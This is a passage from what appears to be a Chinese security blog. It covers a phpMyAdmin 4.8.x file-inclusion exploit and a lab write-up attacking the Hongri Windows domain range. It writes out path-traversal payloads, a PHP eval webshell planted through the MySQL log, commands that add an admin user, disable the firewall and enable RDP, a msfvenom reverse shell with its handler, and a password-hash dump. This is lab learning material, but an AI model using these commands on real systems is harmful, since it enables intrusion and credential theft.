</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">!</span> <span style="color:#a6e22e">in_array</span>($_REQUEST[<span style="color:#e6db74">&#39;target&#39;</span>], $target_blacklist)
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">Core</span><span style="color:#f92672">::</span><span style="color:#a6e22e">checkPageValidity</span>($_REQUEST[<span style="color:#e6db74">&#39;target&#39;</span>])
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">include</span> $_REQUEST[<span style="color:#e6db74">&#39;target&#39;</span>];
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">exit</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 黑名单
</span></span></span><span style="display:flex;"><span>$target_blacklist <span style="color:#f92672">=</span> <span style="color:#66d9ef">array</span> (
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;import.php&#39;</span>, <span style="color:#e6db74">&#39;export.php&#39;</span>
</span></span><span style="display:flex;"><span>);
</span></span></code></pre></div><p>然后就是在phpmyadmin中,执行sql语句之后,会存储在session文件中,如果包含这个文件,就能让select里面的php代码被执行</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/index.php?target<span style="color:#f92672">=</span>db_sql.php?/../../../../../../../../etc/passwd
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Windows环境下利用需要对?进行编码</span>
</span></span><span style="display:flex;"><span>/index.php?target<span style="color:#f92672">=</span>db_sql.php%253f/../../../../../../../../tmp/sess_21faa6130eaba2b5e04e313bfacc60d4
</span></span></code></pre></div><h2 id="漏洞发现">漏洞发现</h2>
<p>进入后台之后,查看版本信息</p>
<h2 id="漏洞修复">漏洞修复</h2>
<p>升级phpmyadmin版本</p>
<h2 id="相关漏洞">相关漏洞</h2>
<p><a href="phpMyAdmin-4.0.x%e2%80%944.6.2_%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e.md">phpMyAdmin-4.0.x—4.6.2_远程代码执行漏洞</a></p>
<h2 id="漏洞总结">漏洞总结</h2>
<p>这个漏洞刚刚演练的时候利用过,比较熟悉了&hellip;
记忆这个漏洞</p>
<ul>
<li>组件:phpmyadmin</li>
<li>版本:4.8.1&amp;4.8.0</li>
<li>漏洞类型:文件包含</li>
</ul>
<p>假设你在尝试利用,挖掘这个漏洞</p>
<ul>
<li>漏洞产生点:首页的target参数</li>
<li>漏洞类型:文件包含</li>
<li>漏洞利用方法:通过对sessions文件进行包含从而实现rce</li>
<li>遇到问题之后的解决方案:</li>
</ul>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://l1uyun.one/tags/sec" term="sec" label="sec" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[红日靶场1]]></title><link href="https://l1uyun.one/posts/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA1/" rel="alternate" type="text/html" />
            <id>https://l1uyun.one/posts/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA1/</id>
            
            <published>2024-08-25T16:08:47+08:00</published>
            <updated>2024-10-27T08:49:57+08:00</updated>
            
            
            <content type="html"><![CDATA[<h1 id="前言">前言</h1>
<p>之前打了一个linux域的靶机,在巨魔的wp站里看见了红日靶场系列,学习一下win域</p>
<h1 id="红日靶场1-win域">红日靶场1-win域</h1>
<h2 id="环境搭建">环境搭建</h2>
<p>下载完之后,解压,并在vmware中扫描虚拟机</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_1.png" alt="" /></figure>
</p>
<p>根据这个网络拓扑图,win7机器有两个网卡,是通外网的,win2003和win2008是在内网环境中</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_2.png" alt="" /></figure>
</p>
<p>先给win7添加一下网卡,这里我习惯使用桥接,所以另一个网卡是桥接模式</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_3.png" alt="" /></figure>
</p>
<p>然后再为另外两台机器设置only-host模式,并在网络编辑器中将这个模式的网段修改为192.168.53.0/24</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_4.png" alt="" /></figure>
</p>
<p>最后进入win7机器,进去之后要改默认密码(hongrisec@2019),改成了l1uyun@2024,启动web服务器.</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_5.png" alt="|536" /><figcaption>|536</figcaption></figure>
</p>
<h2 id="外网渗透">外网渗透</h2>
<h3 id="端口扫描">端口扫描</h3>
<p>win7机器是桥接在192.168.71.0/24这个子网的</p>
<p>arp-scan扫描局域网内主机</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>~/workspace<span style="color:#f92672">]</span>$ sudo arp-scan -I eth5 -l
</span></span><span style="display:flex;"><span>Interface: eth5, type: EN10MB, MAC: f6:39:4a:3d:95:18, IPv4: 192.168.71.99
</span></span><span style="display:flex;"><span>Starting arp-scan 1.10.0 with <span style="color:#ae81ff">256</span> hosts <span style="color:#f92672">(</span>https://github.com/royhills/arp-scan<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>192.168.71.79   00:0c:29:a7:c1:b2       VMware, Inc.
</span></span><span style="display:flex;"><span>192.168.71.244  ca:a7:78:4d:50:e1       <span style="color:#f92672">(</span>Unknown: locally administered<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">2</span> packets received by filter, <span style="color:#ae81ff">0</span> packets dropped by kernel
</span></span><span style="display:flex;"><span>Ending arp-scan 1.10.0: <span style="color:#ae81ff">256</span> hosts scanned in 2.108 seconds <span style="color:#f92672">(</span>121.44 hosts/sec<span style="color:#f92672">)</span>. <span style="color:#ae81ff">2</span> responded
</span></span></code></pre></div><p>使用nmap来扫描一下这个主机</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>➜  workspace  sudo nmap -sS -Pn 192.168.71.79  -p- --min-rate<span style="color:#f92672">=</span><span style="color:#ae81ff">5000</span>
</span></span><span style="display:flex;"><span>Starting Nmap 7.94SVN <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2024-08-25 16:26 CST
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 192.168.247.79
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.00054s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">65533</span> filtered tcp ports <span style="color:#f92672">(</span>no-response<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE
</span></span><span style="display:flex;"><span>80/tcp   open  http
</span></span><span style="display:flex;"><span>3306/tcp open  mysql
</span></span><span style="display:flex;"><span>MAC Address: 00:0C:29:A7:C1:B2 <span style="color:#f92672">(</span>VMware<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>➜  workspace  sudo nmap -sT -Pn 192.168.71.79  -p80,3306 -A  --min-rate<span style="color:#f92672">=</span><span style="color:#ae81ff">5000</span>
</span></span><span style="display:flex;"><span>Starting Nmap 7.94SVN <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2024-08-25 16:29 CST
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 192.168.247.79
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.00049s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>80/tcp   open  http    Apache httpd 2.4.23 <span style="color:#f92672">((</span>Win32<span style="color:#f92672">)</span> OpenSSL/1.0.2j PHP/5.4.45<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-title: phpStudy <span style="color:#ae81ff">\x</span>E6<span style="color:#ae81ff">\x</span>8E<span style="color:#ae81ff">\x</span>A2<span style="color:#ae81ff">\x</span>E9<span style="color:#ae81ff">\x</span>92<span style="color:#ae81ff">\x</span><span style="color:#ae81ff">88</span> <span style="color:#ae81ff">2014</span> 
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.23 <span style="color:#f92672">(</span>Win32<span style="color:#f92672">)</span> OpenSSL/1.0.2j PHP/5.4.45
</span></span><span style="display:flex;"><span>3306/tcp open  mysql   MySQL <span style="color:#f92672">(</span>unauthorized<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>MAC Address: 00:0C:29:A7:C1:B2 <span style="color:#f92672">(</span>VMware<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Warning: OSScan results may be unreliable because we could not find at least <span style="color:#ae81ff">1</span> open and <span style="color:#ae81ff">1</span> closed port
</span></span><span style="display:flex;"><span>Device type: phone|specialized|general purpose
</span></span><span style="display:flex;"><span>Running <span style="color:#f92672">(</span>JUST GUESSING<span style="color:#f92672">)</span>: Microsoft Windows Phone|7|8.1|2008|Vista <span style="color:#f92672">(</span>96%<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>OS CPE: cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows_server_2008::beta3 cpe:/o:microsoft:windows_server_2008 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_8
</span></span><span style="display:flex;"><span>Aggressive OS guesses: Microsoft Windows Phone 7.5 or 8.0 <span style="color:#f92672">(</span>96%<span style="color:#f92672">)</span>, Microsoft Windows Embedded Standard <span style="color:#ae81ff">7</span> <span style="color:#f92672">(</span>96%<span style="color:#f92672">)</span>, Microsoft Windows 8.1 R1 <span style="color:#f92672">(</span>94%<span style="color:#f92672">)</span>, Microsoft Windows Server <span style="color:#ae81ff">2008</span> or <span style="color:#ae81ff">2008</span> Beta <span style="color:#ae81ff">3</span> <span style="color:#f92672">(</span>92%<span style="color:#f92672">)</span>, Microsoft Windows Server <span style="color:#ae81ff">2008</span> R2 or Windows 8.1 <span style="color:#f92672">(</span>92%<span style="color:#f92672">)</span>, Microsoft Windows Vista SP0 or SP1, Windows Server <span style="color:#ae81ff">2008</span> SP1, or Windows <span style="color:#ae81ff">7</span> <span style="color:#f92672">(</span>92%<span style="color:#f92672">)</span>, Microsoft Windows Vista SP2, Windows <span style="color:#ae81ff">7</span> SP1, or Windows Server <span style="color:#ae81ff">2008</span> <span style="color:#f92672">(</span>92%<span style="color:#f92672">)</span>, Microsoft Windows <span style="color:#ae81ff">7</span> Professional or Windows <span style="color:#ae81ff">8</span> <span style="color:#f92672">(</span>91%<span style="color:#f92672">)</span>, Microsoft Windows Server <span style="color:#ae81ff">2008</span> SP1 <span style="color:#f92672">(</span>89%<span style="color:#f92672">)</span>, Microsoft Windows <span style="color:#ae81ff">7</span> <span style="color:#f92672">(</span>89%<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>No exact OS matches <span style="color:#66d9ef">for</span> host <span style="color:#f92672">(</span>test conditions non-ideal<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Network Distance: <span style="color:#ae81ff">1</span> hop
</span></span></code></pre></div><p>再对mysql扫一下</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>➜  workspace  sudo nmap -sS -Pn 192.168.71.79  -p3306 --script<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;*sql*&#34;</span>  --min-rate<span style="color:#f92672">=</span><span style="color:#ae81ff">5000</span>
</span></span><span style="display:flex;"><span>Starting Nmap 7.94SVN <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2024-08-25 16:31 CST
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 192.168.247.79
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.00034s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE
</span></span><span style="display:flex;"><span>3306/tcp open  mysql
</span></span><span style="display:flex;"><span>|_mysql-empty-password: Host <span style="color:#e6db74">&#39;192.168.247.149&#39;</span> is not allowed to connect to this MySQL server
</span></span><span style="display:flex;"><span>| mysql-enum: 
</span></span><span style="display:flex;"><span>|   Accounts: No valid accounts found
</span></span><span style="display:flex;"><span>|_  Statistics: Performed <span style="color:#ae81ff">10</span> guesses in <span style="color:#ae81ff">1</span> seconds, average tps: 10.0
</span></span><span style="display:flex;"><span>| mysql-brute: 
</span></span><span style="display:flex;"><span>|   Accounts: No valid accounts found
</span></span><span style="display:flex;"><span>|_  Statistics: Performed <span style="color:#ae81ff">50009</span> guesses in <span style="color:#ae81ff">24</span> seconds, average tps: 2012.9
</span></span><span style="display:flex;"><span>MAC Address: 00:0C:29:A7:C1:B2 <span style="color:#f92672">(</span>VMware<span style="color:#f92672">)</span>
</span></span></code></pre></div><h3 id="phpmyadmin弱口令日志写入getshell">phpmyadmin弱口令+日志写入Getshell</h3>
<p>进去之后是phpstudy页面,数据库这里使用root,root测试成功</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_6.png" alt="" /></figure>
</p>
<p>尝试在外面连接,连不上去</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>➜  workspace  mysql -h 192.168.71.79 -u root -p
</span></span><span style="display:flex;"><span>Enter password:
</span></span></code></pre></div><p>扫目录发现存在phpmyadmin,phpstudy这玩意集成了phpmyadmin</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_7.png" alt="" /></figure>
</p>
<p>这里的secure_file_priv=NULL,不允许导入导出,所以不能直接写入shell</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_8.png" alt="" /></figure>
</p>
<p>再尝试一下通过日志Getshell的方法</p>
<p>SHOW VARIABLES LIKE &lsquo;%general_log%&rsquo;</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_9.png" alt="" /></figure>
</p>
<p>启用日志功能,然后修改日志文件路径,这里的绝对路径是在php探针里面泄露的</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>set global general_log <span style="color:#f92672">=</span> on;
</span></span><span style="display:flex;"><span>set global general_log_file<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;C:/phpStudy/WWW/shell.php&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#e6db74">&#34;&lt;?php @eval(</span>$_POST<span style="color:#e6db74">[&#39;123&#39;]);?&gt;&#34;</span>
</span></span></code></pre></div><p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_10.png" alt="" /></figure>
</p>
<p>使用蚁剑连接,拿到shell</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_11.png" alt="" /></figure>
</p>
<h3 id="yxcms后台修改模板getshell">yxcms后台修改模板Getshell</h3>
<p>以学习为主,phpmyadmin拿到shell之后,再看看有没有其他的拿shell的方法吧</p>
<p>查看路径,发现有个yxcms,进去看看</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_12.png" alt="" /></figure>
</p>
<p>这都不用搜索了,前台模板这个位置大概率能执行php代码</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_13.png" alt="" /></figure>
</p>
<p>找到这个layout.php,这个文件是每个页面都需要包含的,所以在这里写入webshell</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_14.png" alt="" /></figure>
</p>
<p>可以连接</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_15.png" alt="" /></figure>
</p>
<p>这个cms里面也有sql执行,就不看了</p>
<h2 id="内网渗透">内网渗透</h2>
<h3 id="信息收集">信息收集</h3>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_16.png" alt="" /></figure>
</p>
<p>域渗透信息收集checklist</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span> ipconfig /all   <span style="color:#75715e"># 查看本机ip，所在域</span>
</span></span><span style="display:flex;"><span> route print     <span style="color:#75715e"># 打印路由信息</span>
</span></span><span style="display:flex;"><span> net view        <span style="color:#75715e"># 查看局域网内其他主机名</span>
</span></span><span style="display:flex;"><span> arp -a          <span style="color:#75715e"># 查看arp缓存</span>
</span></span><span style="display:flex;"><span> net start       <span style="color:#75715e"># 查看开启了哪些服务</span>
</span></span><span style="display:flex;"><span> net share       <span style="color:#75715e"># 查看开启了哪些共享</span>
</span></span><span style="display:flex;"><span> net share ipc$  <span style="color:#75715e"># 开启ipc共享</span>
</span></span><span style="display:flex;"><span> net share c$    <span style="color:#75715e"># 开启c盘共享</span>
</span></span><span style="display:flex;"><span> net use <span style="color:#ae81ff">\\</span>192.168.xx.xx<span style="color:#ae81ff">\i</span>pc$ <span style="color:#e6db74">&#34;&#34;</span> /user:<span style="color:#e6db74">&#34;&#34;</span>    <span style="color:#75715e"># 与192.168.xx.xx建立空连接</span>
</span></span><span style="display:flex;"><span> net use <span style="color:#ae81ff">\\</span>192.168.xx.xx<span style="color:#ae81ff">\c</span>$ <span style="color:#e6db74">&#34;密码&#34;</span> /user:<span style="color:#e6db74">&#34;用户名&#34;</span>    <span style="color:#75715e"># 建立c盘共享</span>
</span></span><span style="display:flex;"><span> dir <span style="color:#ae81ff">\\</span>192.168.xx.xx<span style="color:#ae81ff">\c</span>$<span style="color:#ae81ff">\u</span>ser    <span style="color:#75715e"># 查看192.168.xx.xx c盘user目录下的文件</span>
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span> net config Workstation    <span style="color:#75715e"># 查看计算机名、全名、用户名、系统版本、工作站、域、登录域</span>
</span></span><span style="display:flex;"><span> net user                 <span style="color:#75715e"># 查看本机用户列表</span>
</span></span><span style="display:flex;"><span> net user /domain         <span style="color:#75715e"># 查看域用户</span>
</span></span><span style="display:flex;"><span> net localgroup administrators    <span style="color:#75715e"># 查看本地管理员组（通常会有域用户）</span>
</span></span><span style="display:flex;"><span> net view /domain         <span style="color:#75715e"># 查看有几个域</span>
</span></span><span style="display:flex;"><span> net user 用户名 /domain   <span style="color:#75715e"># 获取指定域用户的信息</span>
</span></span><span style="display:flex;"><span> net group /domain        <span style="color:#75715e"># 查看域里面的工作组，查看把用户分了多少组（只能在域控上操作）</span>
</span></span><span style="display:flex;"><span> net group 组名 /domain    <span style="color:#75715e"># 查看域中某工作组</span>
</span></span><span style="display:flex;"><span> net group <span style="color:#e6db74">&#34;domain admins&#34;</span> /domain  <span style="color:#75715e"># 查看域管理员的名字</span>
</span></span><span style="display:flex;"><span> net group <span style="color:#e6db74">&#34;domain computers&#34;</span> /domain  <span style="color:#75715e"># 查看域中的其他主机名</span>
</span></span><span style="display:flex;"><span> net group <span style="color:#e6db74">&#34;doamin controllers&#34;</span> /domain  <span style="color:#75715e"># 查看域控制器（可能有多台）</span>
</span></span></code></pre></div><p>权限是administrator</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_17.png" alt="" /></figure>
</p>
<p>发现有内网网段</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_18.png" alt="" /></figure>
</p>
<p>查看域用户</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_19.png" alt="" /></figure>
</p>
<p>查看域管理员信息</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_20.png" alt="" /></figure>
</p>
<p>整理一下收集到的win域信息</p>
<p>该域名为god.org，域控为OWA，域管理员为Administrator，内网网段为192.168.52.1/24，我们用ping命令探测域控的ip</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_21.png" alt="" /></figure>
</p>
<p>域控的ip为192.168.52.138</p>
<h3 id="尝试rdp">尝试rdp</h3>
<p>接下来在win7机器上增加用户，看能不能rdp上去</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>net user l1uyun aBc12@liuyun
</span></span><span style="display:flex;"><span>net localgroup administrators l1uyun /add
</span></span></code></pre></div><p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_22.png" alt="" /></figure>
</p>
<p>查看3389端口是否开启,没有启动的话就手动启动一下</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>关闭防火墙
</span></span><span style="display:flex;"><span>netsh advfirewall set allprofiles state off
</span></span><span style="display:flex;"><span>查看是否开启
</span></span><span style="display:flex;"><span>netstat -ano | find <span style="color:#e6db74">&#34;3389&#34;</span>
</span></span><span style="display:flex;"><span>没有开启的话手动开启3389端口
</span></span><span style="display:flex;"><span>REG ADD HKLM<span style="color:#ae81ff">\S</span>YSTEM<span style="color:#ae81ff">\C</span>urrentControlSet<span style="color:#ae81ff">\C</span>ontrol<span style="color:#ae81ff">\T</span>erminal<span style="color:#e6db74">&#34; &#34;</span>Server /v fDenyTSConnections /t REG_DWORD /d <span style="color:#ae81ff">00000000</span> /f 
</span></span></code></pre></div><p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_23.png" alt="" /></figure>
</p>
<p>成功rdp上去了</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_24.png" alt="" /></figure>
</p>
<h3 id="msf上线">msf上线</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>msfvenom -p windows/meterpreter/reverse_tcp LHOST<span style="color:#f92672">=</span>192.168.71.101 LPORT<span style="color:#f92672">=</span><span style="color:#ae81ff">10010</span> -f exe -o shell.exe
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>msfconsole -q
</span></span><span style="display:flex;"><span>use exploit/multi/handler 
</span></span><span style="display:flex;"><span>set payload windows/meterpreter/reverse_tcp 
</span></span><span style="display:flex;"><span>set lhost 192.168.71.101
</span></span><span style="display:flex;"><span>set lport <span style="color:#ae81ff">10010</span>              
</span></span><span style="display:flex;"><span>exploit
</span></span></code></pre></div><p>这里最开始wsl是镜像网络, 后面改成桥接之后才成功反弹回去
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_25.png" alt="" /></figure>
</p>
<h3 id="getsystem提权">getsystem提权</h3>
<p>提权,使用meterpreter里面的getsystem一键提权
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_26.png" alt="" /></figure>
</p>
<h3 id="迁移进程">迁移进程</h3>
<p>使用ps查看进程信息,msf的进程pid为5060,apache的为2860,进行进程迁移</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_27.png" alt="" /></figure>
</p>
<p>迁移,然后清除痕迹</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_28.png" alt="" /></figure>
</p>
<h3 id="收集凭据">收集凭据</h3>
<p>获取hash</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>meterpreter &gt; hashdump
</span></span><span style="display:flex;"><span>Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
</span></span><span style="display:flex;"><span>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
</span></span><span style="display:flex;"><span>l1uyun:1009:aad3b435b51404eeaad3b435b51404ee:e632033e620c600f68dc60c32b103d8c:::
</span></span><span style="display:flex;"><span>liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
</span></span></code></pre></div><p>这里需要进一步使用Mimikatz来提取凭证、密码和其他敏感信息。</p>
<p>在msf中是使用kiwi来进行平替</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_29.png" alt="" /></figure>
</p>
<p>kiwi模块同时支持32位和64位的系统，但是该模块默认是加载32位的系统，所以如果目标主机是64位系统的话，直接默认加载该模块会导致很多功能无法使用。
所以如果目标系统是64位的，则必须先查看系统进程列表，然后将meterpreter进程迁移到一个64位程序的进程中，才能加载kiwi并且查看系统明文。如果目标系统是32位的，则没有这个限制</p>
<p>因为还需要system的权限,所以只能迁移到system用户的进程中</p>
<p>
<figure class="md-figure">
